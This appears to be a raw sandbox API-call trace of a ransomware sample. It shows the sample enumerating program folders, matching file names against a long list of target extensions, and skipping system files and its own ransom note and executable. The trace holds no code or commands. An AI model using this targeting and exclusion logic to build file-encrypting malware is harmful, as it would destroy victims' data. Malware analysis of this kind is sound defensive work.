	[0164.604] lstrlenW (lpString=".elf") returned 4
	[0164.604] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".emf") returned 4
	[0164.604] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".emz") returned 4
	[0164.604] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".epf") returned 4
	[0164.604] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".eps") returned 4
	[0164.604] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".epsf") returned 5
	[0164.604] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.604] lstrlenW (lpString=".epsp") returned 5
	[0164.604] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.604] lstrlenW (lpString=".erf") returned 4
	[0164.604] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".exr") returned 4
	[0164.604] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".f4v") returned 4
	[0164.604] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".fido") returned 5
	[0164.604] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.604] lstrlenW (lpString=".flm") returned 4
	[0164.604] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".flv") returned 4
	[0164.604] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".frm") returned 4
	[0164.604] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".fxg") returned 4
	[0164.604] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".geo") returned 4
	[0164.604] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".gif") returned 4
	[0164.604] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.604] lstrlenW (lpString=".grs") returned 4
	[0164.605] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".gz") returned 3
	[0164.605] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.605] lstrlenW (lpString=".h") returned 2
	[0164.605] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.605] lstrlenW (lpString=".hdr") returned 4
	[0164.605] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".hpp") returned 4
	[0164.605] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".hta") returned 4
	[0164.605] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".htc") returned 4
	[0164.605] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".htm") returned 4
	[0164.605] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString=".html") returned 5
	[0164.605] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.605] lstrlenW (lpString="index.html") returned 10
	[0164.605] lstrlenW (lpString=".GTF") returned 4
	[0164.605] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.605] lstrlenW (lpString="index.html") returned 10
	[0164.605] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.605] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.605] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.605] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.605] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.605] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.605] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.605] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.605] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\index.html") returned 111
	[0164.605] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.605] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.605] lstrlenW (lpString=".1cd") returned 4
	[0164.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.605] lstrlenW (lpString=".3ds") returned 4
	[0164.606] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".3fr") returned 4
	[0164.606] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".3g2") returned 4
	[0164.606] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".3gp") returned 4
	[0164.606] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".7z") returned 3
	[0164.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.606] lstrlenW (lpString=".accda") returned 6
	[0164.606] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".accdb") returned 6
	[0164.606] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".accdc") returned 6
	[0164.606] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".accde") returned 6
	[0164.606] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".accdt") returned 6
	[0164.606] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".accdw") returned 6
	[0164.606] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.606] lstrlenW (lpString=".adb") returned 4
	[0164.606] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".adp") returned 4
	[0164.606] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".ai") returned 3
	[0164.606] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.606] lstrlenW (lpString=".ai3") returned 4
	[0164.606] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".ai4") returned 4
	[0164.606] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".ai5") returned 4
	[0164.606] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".ai6") returned 4
	[0164.606] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.606] lstrlenW (lpString=".ai7") returned 4
	[0164.607] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".ai8") returned 4
	[0164.607] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".anim") returned 5
	[0164.607] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.607] lstrlenW (lpString=".arw") returned 4
	[0164.607] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".as") returned 3
	[0164.607] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.607] lstrlenW (lpString=".asa") returned 4
	[0164.607] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".asc") returned 4
	[0164.607] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".ascx") returned 5
	[0164.607] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.607] lstrlenW (lpString=".asm") returned 4
	[0164.607] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".asmx") returned 5
	[0164.607] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.607] lstrlenW (lpString=".asp") returned 4
	[0164.607] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".aspx") returned 5
	[0164.607] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.607] lstrlenW (lpString=".asr") returned 4
	[0164.607] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".asx") returned 4
	[0164.607] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".avi") returned 4
	[0164.607] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".avs") returned 4
	[0164.607] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".backup") returned 7
	[0164.607] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.607] lstrlenW (lpString=".bak") returned 4
	[0164.607] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.607] lstrlenW (lpString=".bay") returned 4
	[0164.608] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".bd") returned 3
	[0164.608] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.608] lstrlenW (lpString=".bin") returned 4
	[0164.608] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".bmp") returned 4
	[0164.608] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".bz2") returned 4
	[0164.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".c") returned 2
	[0164.608] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.608] lstrlenW (lpString=".cdr") returned 4
	[0164.608] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".cer") returned 4
	[0164.608] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".cf") returned 3
	[0164.608] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.608] lstrlenW (lpString=".cfc") returned 4
	[0164.608] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".cfm") returned 4
	[0164.608] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".cfml") returned 5
	[0164.608] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.608] lstrlenW (lpString=".cfu") returned 4
	[0164.608] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".chm") returned 4
	[0164.608] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".cin") returned 4
	[0164.608] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".class") returned 6
	[0164.608] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.608] lstrlenW (lpString=".clx") returned 4
	[0164.608] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.608] lstrlenW (lpString=".config") returned 7
	[0164.608] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.608] lstrlenW (lpString=".cpp") returned 4
	[0164.608] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".cr2") returned 4
	[0164.609] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".crt") returned 4
	[0164.609] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".crw") returned 4
	[0164.609] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".cs") returned 3
	[0164.609] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.609] lstrlenW (lpString=".css") returned 4
	[0164.609] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".csv") returned 4
	[0164.609] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".cub") returned 4
	[0164.609] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dae") returned 4
	[0164.609] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dat") returned 4
	[0164.609] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".db") returned 3
	[0164.609] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.609] lstrlenW (lpString=".dbf") returned 4
	[0164.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dbx") returned 4
	[0164.609] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dc3") returned 4
	[0164.609] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dcm") returned 4
	[0164.609] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dcr") returned 4
	[0164.609] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".der") returned 4
	[0164.609] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dib") returned 4
	[0164.609] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dic") returned 4
	[0164.609] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.609] lstrlenW (lpString=".dif") returned 4
	[0164.610] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".divx") returned 5
	[0164.610] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".djvu") returned 5
	[0164.610] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".dng") returned 4
	[0164.610] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".doc") returned 4
	[0164.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".docm") returned 5
	[0164.610] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".docx") returned 5
	[0164.610] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".dot") returned 4
	[0164.610] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dotm") returned 5
	[0164.610] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".dotx") returned 5
	[0164.610] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.610] lstrlenW (lpString=".dpx") returned 4
	[0164.610] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dqy") returned 4
	[0164.610] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dsn") returned 4
	[0164.610] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dt") returned 3
	[0164.610] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.610] lstrlenW (lpString=".dtd") returned 4
	[0164.610] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dwg") returned 4
	[0164.610] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dwt") returned 4
	[0164.610] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.610] lstrlenW (lpString=".dx") returned 3
	[0164.610] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.610] lstrlenW (lpString=".dxf") returned 4
	[0164.611] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".edml") returned 5
	[0164.611] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.611] lstrlenW (lpString=".efd") returned 4
	[0164.611] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".elf") returned 4
	[0164.611] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".emf") returned 4
	[0164.611] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".emz") returned 4
	[0164.611] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".epf") returned 4
	[0164.611] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".eps") returned 4
	[0164.611] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".epsf") returned 5
	[0164.611] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.611] lstrlenW (lpString=".epsp") returned 5
	[0164.611] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.611] lstrlenW (lpString=".erf") returned 4
	[0164.611] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".exr") returned 4
	[0164.611] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".f4v") returned 4
	[0164.611] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".fido") returned 5
	[0164.611] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.611] lstrlenW (lpString=".flm") returned 4
	[0164.611] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".flv") returned 4
	[0164.611] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".frm") returned 4
	[0164.611] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".fxg") returned 4
	[0164.611] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.611] lstrlenW (lpString=".geo") returned 4
	[0164.612] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.612] lstrlenW (lpString=".gif") returned 4
	[0164.612] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.612] lstrlenW (lpString=".grs") returned 4
	[0164.612] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.612] lstrlenW (lpString=".gz") returned 3
	[0164.612] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.612] lstrlenW (lpString=".h") returned 2
	[0164.612] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.612] lstrlenW (lpString=".hdr") returned 4
	[0164.612] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.612] lstrlenW (lpString=".hpp") returned 4
	[0164.612] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.612] lstrlenW (lpString=".hta") returned 4
	[0164.612] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.612] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.773] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.773] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.773] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0164.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.835] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1
	[0164.835] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.836] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE") returned 100
	[0164.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0164.898] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.898] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.898] lstrlenW (lpString="index.html") returned 10
	[0164.898] lstrlenW (lpString=".1cd") returned 4
	[0164.898] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.898] lstrlenW (lpString=".3ds") returned 4
	[0164.898] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.898] lstrlenW (lpString=".3fr") returned 4
	[0164.898] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.898] lstrlenW (lpString=".3g2") returned 4
	[0164.898] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.898] lstrlenW (lpString=".3gp") returned 4
	[0164.899] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".7z") returned 3
	[0164.899] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.899] lstrlenW (lpString=".accda") returned 6
	[0164.899] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".accdb") returned 6
	[0164.899] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".accdc") returned 6
	[0164.899] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".accde") returned 6
	[0164.899] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".accdt") returned 6
	[0164.899] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".accdw") returned 6
	[0164.899] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.899] lstrlenW (lpString=".adb") returned 4
	[0164.899] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".adp") returned 4
	[0164.899] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai") returned 3
	[0164.899] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.899] lstrlenW (lpString=".ai3") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai4") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai5") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai6") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai7") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".ai8") returned 4
	[0164.899] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.899] lstrlenW (lpString=".anim") returned 5
	[0164.899] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.899] lstrlenW (lpString=".arw") returned 4
	[0164.900] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".as") returned 3
	[0164.900] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.900] lstrlenW (lpString=".asa") returned 4
	[0164.900] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".asc") returned 4
	[0164.900] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".ascx") returned 5
	[0164.900] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.900] lstrlenW (lpString=".asm") returned 4
	[0164.900] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.900] lstrlenW (lpString=".asmx") returned 5
